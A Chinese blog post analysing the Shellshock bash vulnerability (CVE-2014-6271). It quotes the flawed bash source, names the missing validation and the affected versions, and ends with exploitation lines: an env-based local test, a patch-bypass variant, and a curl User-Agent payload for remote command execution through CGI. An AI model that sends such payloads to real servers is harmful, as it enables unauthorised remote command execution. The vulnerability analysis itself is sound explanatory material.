linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)

shellshock漏洞原理分析(cve-2014-6271 bash漏洞)

2014-09-26 10:04:16

阅读:0次

98fcc32a8f73cdb96cde6dce180d63c4.png

概述:

低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。

细节:

bash-4.1/variables.c 的 initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:void

initialize_shell_variables (env, privmode)

char **env;

int privmode;

{

...

strcpy (temp_string + char_index + 1, string);

/*此处缺少对畸形环境变量的验证,应修改为

if (legal_identifier (name))

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

*/

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

/* Ancient backwards compatibility.  Old versions of bash exported

functions like name()=() {...} */

if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

name[char_index - 2] = '\0';

...

}

bash-4.1/builtins/evalstring.c 的parse_and_execute() 函数负责具体的解析和执行,未验证特殊的command情况,代码如下:

int

parse_and_execute (string, from_file, flags)

char *string;

const char *from_file;

int flags;

{

...

else if (command = global_command)

{

struct fd_bitmap *bitmap;

/*此处缺少对command类型的判断,应添加

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

{

internal_warning ("%s: ignoring function definition attempt", from_file);

should_jump_to_top_level = 0;

last_result = last_command_exit_value = EX_BADUSAGE;

break;

}

*/

bitmap = new_fd_bitmap (FD_BITMAP_SIZE);

begin_unwind_frame ("pe_dispose");

add_unwind_protect (dispose_fd_bitmap, bitmap);

add_unwind_protect (dispose_command, command);/* XXX */

global_command = (COMMAND *)NULL;

...

}

影响范围:

该漏洞影响gnu bash 4.3之前的版本。

由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。

利用方法:

[bash本地命令注入]

1.官方验证版  env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

2.官方patch绕过版 env -i X='() { (a)=>\' bash -c 'echo date'; cat echo

[http cgi远程命令执行]

curl -A "() { :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值